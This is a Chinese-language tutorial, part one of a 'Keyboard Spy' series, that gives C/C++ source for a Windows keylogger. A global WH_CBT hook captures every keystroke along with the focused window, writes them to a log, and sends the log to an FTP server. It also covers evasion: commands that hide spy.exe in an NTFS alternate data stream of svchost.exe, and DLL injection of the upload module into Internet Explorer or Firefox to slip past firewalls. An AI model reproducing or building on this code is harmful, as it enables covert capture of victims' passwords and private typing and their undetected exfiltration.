键盘间谍（一）

一、键盘间谍
键盘间谍由三个部分组成：主模块、钩子程序和FTP模块。主模块安装一个全局WH_CBT钩子程序；钩子程序每当有敲键动作就通知给主模块，主模块负责对键盘事件进行记录；当键盘的日志达到一定的大小后，主模块就运行FTP模块把日志文件传送到FTP服务器。模块之间的通信通过Windows消息进行。

主模块程序如下：
/
//
//  FUNCTION: WndProc(HWND, unsigned, WORD, LONG)
//
//  PURPOSE:  Processes messages for the main window.
//
//  MSG_MY_WM_KEYDOWN    - Process an application keystroke
//  MSG_MY_WM_SETFOCUS    - Process an application keystroke
//  MSG_WM_UPLOAD_FILE    - Process an FTP Module notification
//  WM_DESTROY    - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    if (message == MSG_MY_WM_KEYDOWN)
        return OnInterceptKeyStroke(wParam, lParam);

    if (message == MSG_MY_WM_SETFOCUS)
        return OnSetKeyboardFocus(wParam, lParam);

    if (message == MSG_WM_UPLOAD_FILE)
        return OnFileUploaded(wParam, lParam);
    
    switch (message)
    {   
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
       
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}

/

LRESULT OnInterceptKeyStroke(WPARAM wParam, LPARAM lParam)
{
    //If we are logging a new application we should print an appropriate header
    if (g_hWinInFocus != g_hLastWin)
    {
        WriteNewAppHeader(g_hWinInFocus); 
        g_hLastWin = g_hWinInFocus;
    }
   
    if (wParam==VK_RETURN || wParam==VK_TAB)
    {
        WriteToLog('/n');
    }
    else
    {
        BYTE keyStateArr[256];
        WORD word;
        UINT scanCode = lParam;
        char ch;

        //Translate virtual key code to ascii
        GetKeyboardState(keyStateArr);
        ToAscii(wParam, scanCode, keyStateArr, &word, 0);
        ch = (char) word;
       
        if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= 'a' && wParam <= 'z')
            ch += 'A'-'a';

        WriteToLog(ch);

    }
    return 0;
}

/

LRESULT OnSetKeyboardFocus(WPARAM wParam, LPARAM lParam)
{
    g_hWinInFocus = (HWND)wParam;
   
    return S_OK;
}

/

LRESULT OnFileUploaded(WPARAM wParam, LPARAM lParam)
{
    //Log file was uploaded succesfully
    if (wParam)
    {
        DeleteFile(g_sSpyLogFileName2);
    }
    else
    {
        char temp[255];
        FILE* f1=fopen(g_sSpyLogFileName,"rt");
        FILE* f2=fopen(g_sSpyLogFileName2,"at");
       
        while (!feof(f1))
        {
            if (fgets(temp, 255, f1))
            {
                fputs(temp, f2);
            }
        }
       
        fclose(f1);
        fclose(f2);
       
        MoveFile(g_sSpyLogFileName2, g_sSpyLogFileName);
    }
   
    g_isUploading = false;
    return S_OK;
}

全局WH_CBT钩子
所谓系统钩子，就是一个用于监视所有运行进程Windows消息的函数，并且它将在Windows消息到达运行进程之前执行。钩子程序用来各种系统事件，比如键盘消息。你可以通过SetWindowsHookEx API函数来安装钩子函数，并用它设定钩子的类型。WH_CBT钩子函数在窗体获取焦点(Get Focus)之前运行，这个时候键盘事件仍然保存在系统消息队列中。而全局钩子将被所有的桌面应用程序调用，所以全局钩子函数必须在一个独立的DLL文件中存在。

DLL共享内存
一个DLL共享内存中的变量就被所有该DLL所有实例共享。在保存钩子函数的DLl中，主模块将把它的窗体句柄保存在DLL共享内存中，以便所有的钩子函数实例给主模块发送消息。以下是钩子函数和共享内存的定义：

//
//Shared memory
#pragma data_seg(".adshared")
HWND g_hSpyWin = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.adshared,RWS")

//

void CALLBACK SetSpyHwnd (DWORD hwnd)
{
    g_hSpyWin = (HWND) hwnd;
}

//

LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam )
{               
    if (nCode == HCBT_KEYSKIPPED && (lParam & 0x40000000))
    {       
        if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||
            (wParam==VK_TAB)||(wParam>=0x2f ) &&(wParam<=0x100))
        {
            ::PostMessage(g_hSpyWin, MSG_MY_WM_KEYDOWN, wParam, lParam);
        }
    }
    else if (nCode == HCBT_SETFOCUS)
    {
        ::PostMessage(g_hSpyWin, MSG_MY_WM_SETFOCUS, wParam, lParam);

        if (bInjectFtpDll && ::FindWindow(COMM_WIN_CLASS, NULL) == NULL)
        {
            HINSTANCE hFtpDll;
            Init InitFunc;

            if (hFtpDll = ::LoadLibrary(FTP_DLL_NAME))
            {
                if (InitFunc = (Init) ::GetProcAddress (hFtpDll,"Init"))
                {
                    (InitFunc)((DWORD)g_hSpyWin);
                }
            }

            bInjectFtpDll = false;
        }
    }

    return CallNextHookEx( 0, nCode, wParam, lParam);
}

主模块安装钩子的函数:

typedef LRESULT (CALLBACK *HookProc)(int nCode, WPARAM wParam, LPARAM lParam);
typedef void (WINAPI *SetSpyHwnd)(DWORD);

HMODULE g_hHookDll =    NULL;
HHOOK   g_hHook =       NULL;

bool InstallHook(HWND hwnd)
{
    SetSpyHwnd SetHwndFunc;
    HookProc HookProcFunc;
   
    if (g_hHookDll = LoadLibrary(SPY_DLL_NAME))
    {
        if (SetHwndFunc = (SetSpyHwnd) ::GetProcAddress (g_hHookDll,"SetSpyHwnd"))
        {
            //Store Main Module HWND in to the shared memory
             (SetHwndFunc)((DWORD)hwnd);
           
            if (HookProcFunc = (HookProc) ::GetProcAddress (g_hHookDll,"HookProc"))
            {
                if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc, g_hHookDll, 0))
                    return true;
            }
        }
    }
   
    return false;
}

程序隐藏
由于间谍程序必须隐藏它的痕迹，所以在以下三个地方必须进行隐藏：文件系统、任务管理器和防火墙。

任务管理器中隐藏
NTFS有一个主要特点ADS(Alternate Data Streams)，它让用户可以在以存在的文件中创建个人文件的数据，而不会影响该文件本身的功能和大小，以及在像“资源管理器”这样的文件浏览器的显示。使用ADS的文件，几乎不可能通过纯粹的文件浏览技术来侦测。ADS注入可以通过常见的系统命令来完成，比如type。ADS文件执行的时候就像是执行以前的程序一样，类似"任务管理器"这样的进程是无法探知程序变化的。采用这种办法，不但能够隐藏文件，也能够绕过“任务管理器”等进程检测工具。NTFS文件系统本身是不可能保正系统不受到ADS隐藏文件的影响，而且ADS不是可以屏蔽的，目前也无法限制用户不使用该技术。

可以使用以下的命令行，手动启用ADS:
把spy.exe注入到svchost.exe
"type spy.exe > c:/windows/system32/svchost.exe:spy.exe"
执行spy.exe
"start svchost.exe:spy.exe"

防火墙中隐藏
很多防火墙都能够检测和阻止未授权的程序连接internet。主模块使用FTP模块上载日志文件到FTP服务器。防火墙的隐藏就是通过把FTP模块注入到另外一个已安装的应用程序中。DLL注入就是强制让一个进程载入一个它本身并不需要的DLL文件。这里，选择注入FTP模块到Internet Explorer或者FireFox。通过DLL注入能够绕过很多防火墙，尤其是FTP服务器端口是80的。钩子函数DLL文件将在被所有运行进程装载，检测到IE或者FireFox以后就在该进程中载入FTP模块的DLL文件。由于在DllMain中不允许调用LoadLibrary（译者注：其实不是不允许调用，只是不推荐而已，为了避免出现DLL之间的依赖性循环），所以在DllMain中设置了一个布尔量，以便判断是否在钩子函数中LoadLibrary。

钩子DLl的DllMain函数：

BOOL APIENTRY DllMain( HANDLE hModule,
           DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        {
            char processName[255];
            GetModuleFileName(GetModuleHandle( NULL ),
                         processName, sizeof(processName) );

            strcpy(processName, _strlwr(processName));
           
            if (strstr(processName, "iexplore.exe") ||
                         strstr(processName, "firefox.exe"))
                bInjectFtpDll = true;
            break;
        }

    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}